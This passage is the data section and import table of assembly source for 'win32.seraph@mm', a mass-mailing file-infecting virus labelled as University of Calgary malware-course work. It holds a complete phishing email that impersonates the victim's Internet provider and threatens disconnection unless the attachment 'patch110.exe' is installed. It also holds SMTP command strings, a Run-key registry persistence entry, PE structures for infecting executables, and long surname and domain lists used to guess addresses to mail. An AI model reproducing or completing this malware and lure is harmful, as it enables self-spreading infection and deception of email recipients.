szSigntaure DB 'University of Calgary', CRLF DB 'Semester: 4', CRLF DB 'Course: Computer Viruses and Malware', CRLF DB 'Virus Name: win32.seraph@mm', CRLF DB 'Virus Type: Mass Mailer/File Infector', CRLF, 0 ; date formating szDateFormat DB 'MMMM, d, yyyy', 0 szYearFormat DB 'yyyy', 0 date SYSTEM_TIME <0> ; file finding data szDrive DB 'A:\', 0 hFind DD 0 szSearchString DB '*.*', 0 szBackDir DB '..', 0 win32FindData WIN32_FIND_DATA <0> ; wininet data dwConnectionState DD 0 hInternet DD 0 ; SMTP data szResponse DB 256 DUP(0) szCommand DB 256 DUP(0) dwTimeOut DD 0 hSock DD 0 szHeloPart1 DB 'HELO ', 0 szHeloPart2 DB CRLF, 0 szMailFromPart1 DB 'MAIL FROM: <news@', 0 szMailFromPart2 DB '>', CRLF, 0 szRcptTo DB 132 DUP(0) szRcptToPart1 DB 'RCPT TO: <', 0 szRcptToPart2 DB '@', 0 szRcptToPart3 DB '>', CRLF, 0 szData DB 'DATA', CRLF, 0 szDot DB CRLF, '.', CRLF, 0 szQuit DB 'QUIT', CRLF, 0 threeBytes DB 0, 0, 0 ; holds 3 ascii bytes fourBytes DB 0, 0, 0, 0 ; holds 3 base64 encoded bytes szMailServer DB 132 DUP(0) lpEmailMessage DD 0 szEmailAccount DB 25 DUP(0) ; registry data szSubKey DB 'Software\Microsoft\Windows\CurrentVersion\Run', 0 hKey DD 0 szModuleName DB 256 DUP(0) szValueName DB 'Start-Up', 0 ; dynamic variables (vary from generation to generation) lpReturnAddress DD 0 lpStartOfCode DD 0 lpImageBase DD 0 ; DNS data lpResults DD 0 dnsRecordHeader DNS_RECORD <0> ; PE data peHeader PE_HEADER <0> dosHeader DOS_HEADER <0> sectionHeader SECTION_HEADER <0> lpLastSectionHeader DD 0 lpCode DD 0 cZero DB 0 cByte DB 0 ; thread data hThread DD 0 dwThreadStatus DD 0 dwExitCode DD 0 ; file I/O data hFile DD 0 dwNumberOfBytes DD 0 ; MISC data wsaData WSA_DATA <0> szArpa DB '.in-addr.arpa', 0 lpWebpage DD 0 dwWebpageSize DD 0 szWWW DB 'http://www.', 0 szUrl DB 132 DUP(0) sockAddress SOCK_ADDRESS <0> szIkxParameter DB ' /iKX', 0 szPatchName DB 'patch110.exe', 0 szPatchTitle DB 'Installation Complete!', 0 szPatchInstall DB 'Thankyou for installing the security patch version 1.10.', 0 szCurrentDirectory DB 256 DUP(0) szSystemDirectory DB 257 DUP(0) szSlash DB '\', 0 ; collected data szHostName DB 132 DUP(0) szReverseIP DB 29 DUP(0) szIspDomainName DB 132 DUP(0) szIspWebpage DB 132 DUP (0) szLogoUrl DB 132 DUP(0) szIspName DB 25 DUP(0) szDeadLine DB 25 DUP(0) szYear DB 5 DUP(0) ; dll data lpKernel32 DD 0 szLoadLibraryA DB 'LoadLibraryA', 0 LoadLibraryA DD 0 GetProcAddress DD 0 ; email message szEmailPart1 DB 'From: news@', 0 szEmailPart2 DB CRLF DB 'To: ', 0 szEmailPart3 DB '@', 0 szEmailPart4 DB CRLF DB 'Subject: Important information involving your ', 0 szEmailPart5 DB ' Internet account.', CRLF DB 'MIME-Version: 1.0', CRLF DB 'Content-Type: multipart/mixed; boundary="Boundary.11111111.11111111"', CRLF DB CRLF DB 'This is a multipart message in MIME format.', CRLF DB CRLF DB '--Boundary.11111111.11111111', CRLF DB 'Content-Type: text/html', CRLF DB CRLF DB '<html>', CRLF DB '<body bgcolor = "white">', CRLF DB '<table align = center width = 400 border = 1 cellspacing = 0 cellpadding = 0 bordercolor = 0>', CRLF DB '<tr>', CRLF DB '<td>', CRLF DB '<table border = 0 cellspacing = 5 cellpadding = 5 width = 100%>', CRLF DB '<tr>', CRLF DB '<td>', CRLF DB '<center><img src = "', 0 szEmailPart6 DB '"></center>', CRLF DB '<p>', CRLF DB '<font face="Arial, Helvetica, sans-serif" size="2">', CRLF DB 'Dear ', 0 szEmailPart7 DB ' customer<p>', CRLF DB 'We at ', 0 szEmailPart8 DB ' have been working hard at increasing the reliability and security of our service. ' DB 'To date the following changes have been made:<p>', CRLF DB '<ul>', CRLF DB '<li>All emails sent to your ', 0 szEmailPart9 DB ' email account are now screened for viruses and other malware.<p></li>', CRLF DB '<li>A virtual firewall has been set up to protect your system from attacks by hackers.<p></li>', CRLF DB '<li>A new update is available to protect your computer while online. (Read more below)<p></li>', CRLF DB '</ul>', CRLF DB 'All ', 0 szEmailPart10 DB ' customers are required to install our latest security update attached to this email. ' DB 'It contains a series of patches from Microsoft, Norton and McAffee that will protect ' DB 'your computer and us from attacks. All ', 0 szEmailPart11 DB ' customers MUST have this patch installed by <b>', 0 szEmailPart12 DB '</b>. Failure to do so will result in disconnection of this Internet service. If you ' DB 'require assistence or have any questions contact us at <a href = "mailto:info@', 0 szEmailPart13 DB '">info@', 0 szEmailPart14 DB '</a>.<p>', CRLF DB '</font>', CRLF DB '<center><font color = "555555">&copy; ', 0 szEmailPart15 DB ' ', 0 szEmailPart16 DB ' Inc.</font></center>', CRLF DB '</td>', CRLF DB '</tr>', CRLF DB '</table>', CRLF DB '</td>', CRLF DB '</tr>', CRLF DB '</table>', CRLF DB '</body>', CRLF DB '</html>', CRLF DB CRLF DB '--Boundary.11111111.11111111', CRLF DB 'Content-Type: application/x-msdownload; name="patch110.exe"', CRLF DB 'Content-Transfer-Encoding: base64', CRLF DB 'Content-Description: patch110.exe', CRLF DB 'Content-Disposition: attachment; filename="patch110.exe"', CRLF DB CRLF DB 0 szEmailPart17 DB CRLF DB '--Boundary.11111111.11111111--', CRLF DB CRLF DB '.', CRLF DB 0 lastnames DB 'SMITH',0,'JOHNSON',0,'WILLIAMS',0,'JONES',0,'BROWN',0,'DAVIS',0,'MILLER',0,'WILSON',0 DB 'MOORE',0,'TAYLOR',0,'ANDERSON',0,'THOMAS',0,'JACKSON',0,'WHITE',0,'HARRIS',0,'MARTIN',0 DB 'THOMPSON',0,'GARCIA',0,'MARTINEZ',0,'ROBINSON',0,'CLARK',0,'RODRIGUEZ',0,'LEWIS',0 DB 'LEE',0,'WALKER',0,'HALL',0,'ALLEN',0,'YOUNG',0,'HERNANDEZ',0,'KING',0,'WRIGHT',0 DB 'LOPEZ',0,'HILL',0,'SCOTT',0,'GREEN',0,'ADAMS',0,'BAKER',0,'GONZALEZ',0,'NELSON',0 DB 'CARTER',0,'MITCHELL',0,'PEREZ',0,'ROBERTS',0,'TURNER',0,'PHILLIPS',0,'CAMPBELL',0 DB 'PARKER',0,'EVANS',0,'EDWARDS',0,'COLLINS',0,'STEWART',0,'SANCHEZ',0,'MORRIS',0 DB 'ROGERS',0,'REED',0,'COOK',0,'MORGAN',0,'BELL',0,'MURPHY',0,'BAILEY',0,'RIVERA',0 DB 'COOPER',0,'RICHARDSON',0,'COX',0,'HOWARD',0,'WARD',0,'TORRES',0,'PETERSON',0,'GRAY',0 DB 'RAMIREZ',0,'JAMES',0,'WATSON',0,'BROOKS',0,'KELLY',0,'SANDERS',0,'PRICE',0,'BENNETT',0 DB 'WOOD',0,'BARNES',0,'ROSS',0,'HENDERSON',0,'COLEMAN',0,'JENKINS',0,'PERRY',0,'POWELL',0 DB 'LONG',0,'PATTERSON',0,'HUGHES',0,'FLORES',0,'WASHINGTON',0,'BUTLER',0,'SIMMONS',0 DB 'FOSTER',0,'GONZALES',0,'BRYANT',0,'ALEXANDER',0,'RUSSELL',0,'GRIFFIN',0,'DIAZ',0 DB 'HAYES',0,'MYERS',0,'FORD',0,'HAMILTON',0,'GRAHAM',0,'SULLIVAN',0,'WALLACE',0,'WOODS',0 DB 'COLE',0,'WEST',0,'JORDAN',0,'OWENS',0,'REYNOLDS',0,'FISHER',0,'ELLIS',0,'HARRISON',0 DB 'GIBSON',0,'MCDONALD',0,'CRUZ',0,'MARSHALL',0,'ORTIZ',0,'GOMEZ',0,'MURRAY',0,'FREEMAN',0 DB 'WELLS',0,'WEBB',0,'SIMPSON',0,'STEVENS',0,'TUCKER',0,'PORTER',0,'HUNTER',0,'HICKS',0 DB 'CRAWFORD',0,'HENRY',0,'BOYD',0,'MASON',0,'MORALES',0,'KENNEDY',0,'WARREN',0,'DIXON',0 DB 'RAMOS',0,'REYES',0,'BURNS',0,'GORDON',0,'SHAW',0,'HOLMES',0,'RICE',0,'ROBERTSON',0 DB 'HUNT',0,'BLACK',0,'DANIELS',0,'PALMER',0,'MILLS',0,'NICHOLS',0,'GRANT',0,'KNIGHT',0 DB 'FERGUSON',0,'ROSE',0,'STONE',0,'HAWKINS',0,'DUNN',0,'PERKINS',0,'HUDSON',0,'SPENCER',0 DB 'GARDNER',0,'STEPHENS',0,'PAYNE',0,'PIERCE',0,'BERRY',0,'MATTHEWS',0,'ARNOLD',0 DB 'WAGNER',0,'WILLIS',0,'RAY',0,'WATKINS',0,'OLSON',0,'CARROLL',0,'DUNCAN',0,'SNYDER',0 DB 'HART',0,'CUNNINGHAM',0,'BRADLEY',0,'LANE',0,'ANDREWS',0,'RUIZ',0,'HARPER',0,'FOX',0 DB 'RILEY',0,'ARMSTRONG',0,'CARPENTER',0,'WEAVER',0,'GREENE',0,'LAWRENCE',0,'ELLIOTT',0 DB 'CHAVEZ',0,'SIMS',0,'AUSTIN',0,'PETERS',0,'KELLEY',0,'FRANKLIN',0,'LAWSON',0,'FIELDS',0 DB 'GUTIERREZ',0,'RYAN',0,'SCHMIDT',0,'CARR',0,'VASQUEZ',0,'CASTILLO',0,'WHEELER',0 DB 'CHAPMAN',0,'OLIVER',0,'MONTGOMERY',0,'RICHARDS',0,'WILLIAMSON',0,'JOHNSTON',0,'BANKS',0 DB 'MEYER',0,'BISHOP',0,'MCCOY',0,'HOWELL',0,'ALVAREZ',0,'MORRISON',0,'HANSEN',0 DB 'FERNANDEZ',0,'GARZA',0,'HARVEY',0,'LITTLE',0,'BURTON',0,'STANLEY',0,'NGUYEN',0 DB 'GEORGE',0,'JACOBS',0,'REID',0,'KIM',0,'FULLER',0,'LYNCH',0,'DEAN',0,'GILBERT',0 DB 'GARRETT',0,'ROMERO',0,'WELCH',0,'LARSON',0,'FRAZIER',0,'BURKE',0,'HANSON',0,'DAY',0 DB 'MENDOZA',0,'MORENO',0,'BOWMAN',0,'MEDINA',0,'FOWLER',0,'BREWER',0,'HOFFMAN',0 DB 'CARLSON',0,'SILVA',0,'PEARSON',0,'HOLLAND',0,'DOUGLAS',0,'FLEMING',0,'JENSEN',0 DB 'VARGAS',0,'BYRD',0,'DAVIDSON',0,'HOPKINS',0,'MAY',0,'TERRY',0,'HERRERA',0,'WADE',0 DB 'SOTO',0,'WALTERS',0,'CURTIS',0,'NEAL',0,'CALDWELL',0,'LOWE',0,'JENNINGS',0,'BARNETT',0 DB 'GRAVES',0,'JIMENEZ',0,'HORTON',0,'SHELTON',0,'BARRETT',0,'OBRIEN',0,'CASTRO',0 DB 'SUTTON',0,'GREGORY',0,'MCKINNEY',0,'LUCAS',0,'MILES',0,'CRAIG',0,'RODRIQUEZ',0 DB 'CHAMBERS',0,'HOLT',0,'LAMBERT',0,'FLETCHER',0,'WATTS',0,'BATES',0,'HALE',0,'RHODES',0 DB 'PENA',0,'BECK',0,'NEWMAN',0,'HAYNES',0,'MCDANIEL',0,'MENDEZ',0,'BUSH',0,'VAUGHN',0 DB 'PARKS',0,'DAWSON',0,'SANTIAGO',0,'NORRIS',0,'HARDY',0,'LOVE',0,'STEELE',0,'CURRY',0 DB 'POWERS',0,'SCHULTZ',0,'BARKER',0,'GUZMAN',0,'PAGE',0,'MUNOZ',0,'BALL',0,'KELLER',0 DB 'CHANDLER',0,'WEBER',0,'LEONARD',0,'WALSH',0,'LYONS',0,'RAMSEY',0,'WOLFE',0 DB 'SCHNEIDER',0,'MULLINS',0,'BENSON',0,'SHARP',0,'BOWEN',0,'DANIEL',0,'BARBER',0 DB 'CUMMINGS',0,'HINES',0,'BALDWIN',0,'GRIFFITH',0,'VALDEZ',0,'HUBBARD',0,'SALAZAR',0 DB 'REEVES',0,'WARNER',0,'STEVENSON',0,'BURGESS',0,'SANTOS',0,'TATE',0,'CROSS',0,'GARNER',0 DB 'MANN',0,'MACK',0,'MOSS',0,'THORNTON',0,'DENNIS',0,'MCGEE',0,'FARMER',0,'DELGADO',0 DB 'AGUILAR',0,'VEGA',0,'GLOVER',0,'MANNING',0,'COHEN',0,'HARMON',0,'RODGERS',0,'ROBBINS',0 DB 'NEWTON',0,'TODD',0,'BLAIR',0,'HIGGINS',0,'INGRAM',0,'REESE',0,'CANNON',0,'STRICKLAND',0 DB 'TOWNSEND',0,'POTTER',0,'GOODWIN',0,'WALTON',0,'ROWE',0,'HAMPTON',0,'ORTEGA',0 DB 'PATTON',0,'SWANSON',0,'JOSEPH',0,'FRANCIS',0,'GOODMAN',0,'MALDONADO',0,'YATES',0 DB 'BECKER',0,'ERICKSON',0,'HODGES',0,'RIOS',0,'CONNER',0,'ADKINS',0,'WEBSTER',0 DB 'NORMAN',0,'MALONE',0,'HAMMOND',0,'FLOWERS',0,'COBB',0,'MOODY',0,'QUINN',0,'BLAKE',0 DB 'MAXWELL',0,'POPE',0,'FLOYD',0,'OSBORNE',0,'PAUL',0,'MCCARTHY',0,'GUERRERO',0,'LINDSEY',0 DB 'ESTRADA',0,'SANDOVAL',0,'GIBBS',0,'TYLER',0,'GROSS',0,'FITZGERALD',0,'STOKES',0 DB 'DOYLE',0,'SHERMAN',0,'SAUNDERS',0,'WISE',0,'COLON',0,'GILL',0,'ALVARADO',0,'GREER',0 DB 'PADILLA',0,'SIMON',0,'WATERS',0,'NUNEZ',0,'BALLARD',0,'SCHWARTZ',0,'MCBRIDE',0 DB 'HOUSTON',0,'CHRISTENSEN',0,'KLEIN',0,'PRATT',0,'BRIGGS',0,'PARSONS',0,'MCLAUGHLIN',0 DB 'ZIMMERMAN',0,'FRENCH',0,'BUCHANAN',0,'MORAN',0,'COPELAND',0,'ROY',0,'PITTMAN',0 DB 'BRADY',0,'MCCORMICK',0,'HOLLOWAY',0,'BROCK',0,'POOLE',0,'FRANK',0,'LOGAN',0,'OWEN',0 DB 'BASS',0,'MARSH',0,'DRAKE',0,'WONG',0,'JEFFERSON',0,'PARK',0,'MORTON',0,'ABBOTT',0 DB 'SPARKS',0,'PATRICK',0,'NORTON',0,'HUFF',0,'CLAYTON',0,'MASSEY',0,'LLOYD',0 DB 'FIGUEROA',0,'CARSON',0,'BOWERS',0,'ROBERSON',0,'BARTON',0,'TRAN',0,'LAMB',0 DB 'HARRINGTON',0,'CASEY',0,'BOONE',0,'CORTEZ',0,'CLARKE',0,'MATHIS',0,'SINGLETON',0 DB 'WILKINS',0,'CAIN',0,'BRYAN',0,'UNDERWOOD',0,'HOGAN',0,'MCKENZIE',0,'COLLIER',0,'LUNA',0 DB 'PHELPS',0,'MCGUIRE',0,'ALLISON',0,'BRIDGES',0,'WILKERSON',0,'NASH',0,'SUMMERS',0 DB 'ATKINS',0,'WILCOX',0,'PITTS',0,'CONLEY',0,'MARQUEZ',0,'BURNETT',0,'RICHARD',0 DB 'COCHRAN',0,'CHASE',0,'DAVENPORT',0,'HOOD',0,'GATES',0,'CLAY',0,'AYALA',0,'SAWYER',0 DB 'ROMAN',0,'VAZQUEZ',0,'DICKERSON',0,'HODGE',0,'ACOSTA',0,'FLYNN',0,'ESPINOZA',0 DB 'NICHOLSON',0,'MONROE',0,'WOLF',0,'MORROW',0,'KIRK',0,'RANDALL',0,'ANTHONY',0 DB 'WHITAKER',0,'OCONNOR',0,'SKINNER',0,'WARE',0,'MOLINA',0,'KIRBY',0,'HUFFMAN',0 DB 'BRADFORD',0,'CHARLES',0,'GILMORE',0,'DOMINGUEZ',0,'ONEAL',0,'BRUCE',0,'LANG',0 DB 'COMBS',0,'KRAMER',0,'HEATH',0,'HANCOCK',0,'GALLAGHER',0,'GAINES',0,'SHAFFER',0 DB 'SHORT',0,'WIGGINS',0,'MATHEWS',0,'MCCLAIN',0,'FISCHER',0,'WALL',0,'SMALL',0,'MELTON',0 DB 'HENSLEY',0,'BOND',0,'DYER',0,'CAMERON',0,'GRIMES',0,'CONTRERAS',0,'CHRISTIAN',0 DB 'WYATT',0,'BAXTER',0,'SNOW',0,'MOSLEY',0,'SHEPHERD',0,'LARSEN',0,'HOOVER',0,'BEASLEY',0 DB 'GLENN',0,'PETERSEN',0,'WHITEHEAD',0,'MEYERS',0,'KEITH',0,'GARRISON',0,'VINCENT',0 DB 'SHIELDS',0,'HORN',0,'SAVAGE',0,'OLSEN',0,'SCHROEDER',0,'HARTMAN',0,'WOODARD',0 DB 'MUELLER',0,'KEMP',0,'DELEON',0,'BOOTH',0,'PATEL',0,'CALHOUN',0,'WILEY',0,'EATON',0 DB 'CLINE',0,'NAVARRO',0,'HARRELL',0,'LESTER',0,'HUMPHREY',0,'PARRISH',0,'DURAN',0 DB 'HUTCHINSON',0,'HESS',0,'DORSEY',0,'BULLOCK',0,'ROBLES',0,'BEARD',0,'DALTON',0 DB 'AVILA',0,'VANCE',0,'RICH',0,'BLACKWELL',0,'YORK',0,'JOHNS',0,'BLANKENSHIP',0 DB 'TREVINO',0,'SALINAS',0,'CAMPOS',0,'PRUITT',0,'MOSES',0,'CALLAHAN',0,'GOLDEN',0 DB 'MONTOYA',0,'HARDIN',0,'GUERRA',0,'MCDOWELL',0,'CAREY',0,'STAFFORD',0,'GALLEGOS',0 DB 'HENSON',0,'WILKINSON',0,'BOOKER',0,'MERRITT',0,'MIRANDA',0,'ATKINSON',0,'ORR',0 DB 'DECKER',0,'HOBBS',0,'PRESTON',0,'TANNER',0,'KNOX',0,'PACHECO',0,'STEPHENSON',0 DB 'GLASS',0,'ROJAS',0,'SERRANO',0,'MARKS',0,'HICKMAN',0,'ENGLISH',0,'SWEENEY',0 DB 'STRONG',0,'PRINCE',0,'MCCLURE',0,'CONWAY',0,'WALTER',0,'ROTH',0,'MAYNARD',0,'FARRELL',0 DB 'LOWERY',0,'HURST',0,'NIXON',0,'WEISS',0,'TRUJILLO',0,'ELLISON',0,'SLOAN',0,'JUAREZ',0 DB 'WINTERS',0,'MCLEAN',0,'RANDOLPH',0,'LEON',0,'BOYER',0,'VILLARREAL',0,'MCCALL',0 DB 'GENTRY',0,'CARRILLO',0,'KENT',0,'AYERS',0,'LARA',0,'SHANNON',0,'SEXTON',0,'PACE',0 DB 'HULL',0,'LEBLANC',0,'BROWNING',0,'VELASQUEZ',0,'LEACH',0,'CHANG',0,'HOUSE',0,'SELLERS',0 DB 'HERRING',0,'NOBLE',0,'FOLEY',0,'BARTLETT',0,'MERCADO',0,'LANDRY',0,'DURHAM',0,'WALLS',0 DB 'BARR',0,'MCKEE',0,'BAUER',0,'RIVERS',0,'EVERETT',0,'BRADSHAW',0,'PUGH',0,'VELEZ',0 DB 'RUSH',0,'ESTES',0,'DODSON',0,'MORSE',0,'SHEPPARD',0,'WEEKS',0,'CAMACHO',0,'BEAN',0 DB 'BARRON',0,'LIVINGSTON',0,'MIDDLETON',0,'SPEARS',0,'BRANCH',0,'BLEVINS',0,'CHEN',0 DB 'KERR',0,'MCCONNELL',0,'HATFIELD',0,'HARDING',0,'ASHLEY',0,'SOLIS',0,'HERMAN',0,'FROST',0 DB 'GILES',0,'BLACKBURN',0,'WILLIAM',0,'PENNINGTON',0,'WOODWARD',0,'FINLEY',0,'MCINTOSH',0 DB 'KOCH',0,'BEST',0,'SOLOMON',0,'MCCULLOUGH',0,'DUDLEY',0,'NOLAN',0,'BLANCHARD',0,'RIVAS',0 DB 'BRENNAN',0,'MEJIA',0,'KANE',0,'BENTON',0,'JOYCE',0,'BUCKLEY',0,'HALEY',0,'VALENTINE',0 DB 'MADDOX',0,'RUSSO',0,'MCKNIGHT',0,'BUCK',0,'MOON',0,'MCMILLAN',0,'CROSBY',0,'BERG',0 DB 'DOTSON',0,'MAYS',0,'ROACH',0,'CHURCH',0,'CHAN',0,'RICHMOND',0,'MEADOWS',0,'FAULKNER',0 DB 'ONEILL',0,'KNAPP',0,'KLINE',0,'BARRY',0,'OCHOA',0,'JACOBSON',0,'GAY',0,'AVERY',0 DB 'HENDRICKS',0,'HORNE',0,'SHEPARD',0,'HEBERT',0,'CHERRY',0,'CARDENAS',0,'MCINTYRE',0 DB 'WHITNEY',0,'WALLER',0,'HOLMAN',0,'DONALDSON',0,'CANTU',0,'TERRELL',0,'MORIN',0 DB 'GILLESPIE',0,'FUENTES',0,'TILLMAN',0,'SANFORD',0,'BENTLEY',0,'PECK',0,'KEY',0,'SALAS',0 DB 'ROLLINS',0,'GAMBLE',0,'DICKSON',0,'BATTLE',0,'SANTANA',0,'CABRERA',0,'CERVANTES',0 DB 'HOWE',0,'HINTON',0,'HURLEY',0,'SPENCE',0,'ZAMORA',0,'YANG',0,'MCNEIL',0,'SUAREZ',0 DB 'CASE',0,'PETTY',0,'GOULD',0,'MCFARLAND',0,'SAMPSON',0,'CARVER',0,'BRAY',0,'ROSARIO',0 DB 'MACDONALD',0,'STOUT',0,'HESTER',0,'MELENDEZ',0,'DILLON',0,'FARLEY',0,'HOPPER',0 DB 'GALLOWAY',0,'POTTS',0,'BERNARD',0,'JOYNER',0,'STEIN',0,'AGUIRRE',0,'OSBORN',0,'MERCER',0 DB 'BENDER',0,'FRANCO',0,'ROWLAND',0,'SYKES',0,'BENJAMIN',0,'TRAVIS',0,'PICKETT',0,'CRANE',0 DB 'SEARS',0,'MAYO',0,'DUNLAP',0,'HAYDEN',0,'WILDER',0,'MCKAY',0,'COFFEY',0,'MCCARTY',0 DB 'EWING',0,'COOLEY',0,'VAUGHAN',0,'BONNER',0,'COTTON',0,'HOLDER',0,'STARK',0,'FERRELL',0 DB 'CANTRELL',0,'FULTON',0,'LYNN',0,'LOTT',0,'CALDERON',0,'ROSA',0,'POLLARD',0,'HOOPER',0 DB 'BURCH',0,'MULLEN',0,'FRY',0,'RIDDLE',0,'LEVY',0,'DAVID',0,'DUKE',0,'ODONNELL',0,'GUY',0 DB 'MICHAEL',0,'BRITT',0,'FREDERICK',0,'DAUGHERTY',0,'BERGER',0,'DILLARD',0,'ALSTON',0 DB 'JARVIS',0,'FRYE',0,'RIGGS',0,'CHANEY',0,'ODOM',0,'DUFFY',0,'FITZPATRICK',0,'VALENZUELA',0 DB 'MERRILL',0,'MAYER',0,'ALFORD',0,'MCPHERSON',0,'ACEVEDO',0,'DONOVAN',0,'BARRERA',0 DB 'ALBERT',0,'COTE',0,'REILLY',0,'COMPTON',0,'RAYMOND',0,'MOONEY',0,'MCGOWAN',0,'CRAFT',0 DB 'CLEVELAND',0,'CLEMONS',0,'WYNN',0,'NIELSEN',0,'BAIRD',0,'STANTON',0,'SNIDER',0 DB 'ROSALES',0,'BRIGHT',0,'WITT',0,'STUART',0,'HAYS',0,'HOLDEN',0,'RUTLEDGE',0,'KINNEY',0 DB 'CLEMENTS',0,'CASTANEDA',0,'SLATER',0,'HAHN',0,'EMERSON',0,'CONRAD',0,'BURKS',0 DB 'DELANEY',0,'PATE',0,'LANCASTER',0,'SWEET',0,'JUSTICE',0,'TYSON',0,'SHARPE',0 DB 'WHITFIELD',0,'TALLEY',0,'MACIAS',0,'IRWIN',0,'BURRIS',0,'RATLIFF',0,'MCCRAY',0,'MADDEN',0 DB 'KAUFMAN',0,'BEACH',0,'GOFF',0,'CASH',0,'BOLTON',0,'MCFADDEN',0,'LEVINE',0,'GOOD',0 DB 'BYERS',0,'KIRKLAND',0,'KIDD',0,'WORKMAN',0,'CARNEY',0,'DALE',0,'MCLEOD',0,'HOLCOMB',0 DB 'ENGLAND',0,'FINCH',0,'HEAD',0,'BURT',0,'HENDRIX',0,'SOSA',0,'HANEY',0,'FRANKS',0 DB 'SARGENT',0,'NIEVES',0,'DOWNS',0,'RASMUSSEN',0,'BIRD',0,'HEWITT',0,'LINDSAY',0,'LE',0 DB 'FOREMAN',0,'VALENCIA',0,'ONEIL',0,'DELACRUZ',0,'VINSON',0,'DEJESUS',0,'HYDE',0 DB 'FORBES',0,'GILLIAM',0,'GUTHRIE',0,'WOOTEN',0,'HUBER',0,'BARLOW',0,'BOYLE',0,'MCMAHON',0 DB 'BUCKNER',0,'ROCHA',0,'PUCKETT',0,'LANGLEY',0,'KNOWLES',0,'COOKE',0,'VELAZQUEZ',0 DB 'WHITLEY',0,'NOEL',0,'VANG',0,'SHEA',0,'ROUSE',0,'HARTLEY',0,'MAYFIELD',0,'ELDER',0 DB 'RANKIN',0,'HANNA',0,'COWAN',0,'LUCERO',0,'ARROYO',0,'SLAUGHTER',0,'HAAS',0,'OCONNELL',0 DB 'MINOR',0,'KENDRICK',0,'SHIRLEY',0,'KENDALL',0,'BOUCHER',0,'ARCHER',0,'BOGGS',0 DB 'ODELL',0,'DOUGHERTY',0, 'ANDERSEN',0,'NEWELL',0 ; a list of top level domains topDomains DB 'com', 0, 'edu', 0, 'sa', 0, 'gv', 0, 'ac', 0, 'co', 0 DB 'at', 0, 'be', 0, 'bio', 0, 'br', 0, 'eti', 0, 'jor', 0 DB 'org', 0, 'tur', 0, 'nb', 0, 'yk', 0, 'bj', 0, 'hl', 0 DB 'hi', 0, 'nx', 0, 'cn', 0, 'ca', 0, 'dk', 0, 'gov', 0 DB 'ec', 0, 'il', 0, 'in', 0, 'jp', 0, 'nm', 0, 'kr', 0 DB 'mm', 0, 'mx', 0, 'pl', 0, 'ro', 0, 'ru', 0, 'sg', 0 DB 'th', 0, 'tr', 0, 'tw', 0, 'mi', 0, 'ac', 0, 'za', 0 DB 'nom', 0, 'ie', 0, 'jp', 0, 'mil', 0, 'se', 0, 'or', 0 DB 'cng', 0, 'lel', 0, 'ppg', 0, 'tv', 0, 'nf', 0, 'cc', 0 DB 'sh', 0, 'js', 0, 'sc', 0, 'xj', 0, 'fr', 0, 'go', 0 DB 'kr', 0, 'www', 0, 'sk', 0, 'uk', 0, 'alt', 0, 'ua', 0 DB 'hk', 0, 'gr', 0, 'cl', 0, 'br', 0, 'se', 0, 'cnt', 0 DB 'fot', 0, 'med', 0, 'pro', 0, 'vet', 0, 'ns', 0, 'tj', 0 DB 'zj', 0, 'gz', 0, 'tm', 0, 're', 0, 'k12', 0, 'biz', 0 DB 'by', 0, 'us', 0, 'af', 0, 'asn', 0, 'adm', 0, 'fst', 0 DB 'psc', 0, 'zlg', 0, 'nt', 0, 'cq', 0, 'ah', 0, 'yn', 0 DB 'ne', 0, 'pt', 0, 'rec', 0, 'tc', 0, 'wa', 0, 'ad', 0 DB 'eu', 0, 'uy', 0, 'am', 0, 'au', 0, 'adv', 0, 'ecn', 0 DB 'g12', 0, 'psi', 0, 'on', 0, 'he', 0, 'hb', 0, 'xz', 0 DB 'mo', 0, 'res', 0, 'lt', 0, 'nl', 0, 'tf', 0, 'lv', 0 DB 'itv', 0, 'hu', 0, 'as', 0, 'eng', 0, 'ab', 0, 'pe', 0 DB 'hn', 0, 'sn', 0, 'cx', 0, 'is', 0, 'lu', 0, 'ms', 0 DB 'no', 0, 'to', 0, 'gb', 0, 'plc', 0, 'arq', 0, 'esp', 0 DB 'ind', 0, 'ntr', 0, 'slg', 0, 'bc', 0, 'qc', 0, 'ln', 0 DB 'gd', 0, 'gs', 0, 'cz', 0, 'fin', 0, 'gf', 0, 'mc', 0 DB 'nu', 0, 'bbs', 0, 'kz', 0, 'tk', 0, 'bz', 0, 'me', 0 DB 'art', 0, 'etc', 0, 'inf', 0, 'odo', 0, 'tmp', 0, 'mb', 0 DB 'jl', 0, 'gx', 0, 'qh', 0, 'de', 0, 'vg', 0, 'ngo', 0 DB 'ch', 0, 'cd', 0, 'es', 0 DB 'firm', 0, 'info', 0, 'aero', 0, 'ernet', 0, 'school', 0 DB 'asso', 0, 'presse', 0, 'muni', 0, 'store', 0, 'name', 0 DB '$' ; pay load szTitle DB "On Seeing the Elgin Marbles for the First Time.", 0 szElginMarbles DB "My spirit is too weak--mortality", CRLF DB "Weighs heavily on me like unwilling sleep,", CRLF DB "And each imagin'd pinnacle and steep", CRLF DB "Of godlike hardship, tells me I must die", CRLF DB "Like a sick Eagle looking at the sky.", CRLF DB "Yet 'tis a gentle luxury to weep", CRLF DB "That I have not the cloudy winds to keep,", CRLF DB "Fresh for the opening of the morning's eye.", CRLF DB "Such dim-conceived glories of the brain", CRLF DB "Bring round the heart an undescribable feud;", CRLF DB "So do these wonders a most dizzy pain,", CRLF DB "That mingles Grecian grandeur with the rude", CRLF DB "Wasting of old Time--with a billowy main--", CRLF DB "A sun--a shadow of a magnitude.", CRLF DB CRLF DB "-- John Keats (1796-1821)", CRLF DB 0 ;-------------------------------------------------------------------------------------------------; ; Import Section ; ;-------------------------------------------------------------------------------------------------; ImportTable API_Imports_9x ImportDll Kernel32 ImportFunction ExitProcess ImportFunction CreateFileA ImportFunction ReadFile ImportFunction SetFilePointer ImportFunction WriteFile ImportFunction CloseHandle ImportFunction CreateThread ImportFunction GetCurrentThread ImportFunction GetExitCodeThread ImportFunction lstrcpyA ImportFunction lstrcatA ImportFunction lstrlenA ImportFunction lstrcmpA ImportFunction RtlZeroMemory ImportFunction RtlMoveMemory ImportFunction ExitThread ImportFunction GlobalAlloc ImportFunction GlobalFree ImportFunction GetDateFormatA ImportFunction GetSystemTime ImportFunction GetModuleFileNameA ImportFunction GetVersion ImportFunction GetFileSize ImportFunction GetDriveTypeA ImportFunction SetCurrentDirectoryA ImportFunction GetCurrentDirectoryA ImportFunction FindFirstFileA ImportFunction FindNextFileA ImportFunction FindClose ImportFunction GetCommandLineA ImportFunction GetTickCount ImportFunction GetSystemDirectoryA EndImport ImportDll User32 ImportFunction MessageBoxA ImportFunction CharUpperA EndImport ImportDll Wsock32 ImportFunction htons ImportFunction connect ImportFunction socket ImportFunction gethostname ImportFunction gethostbyname 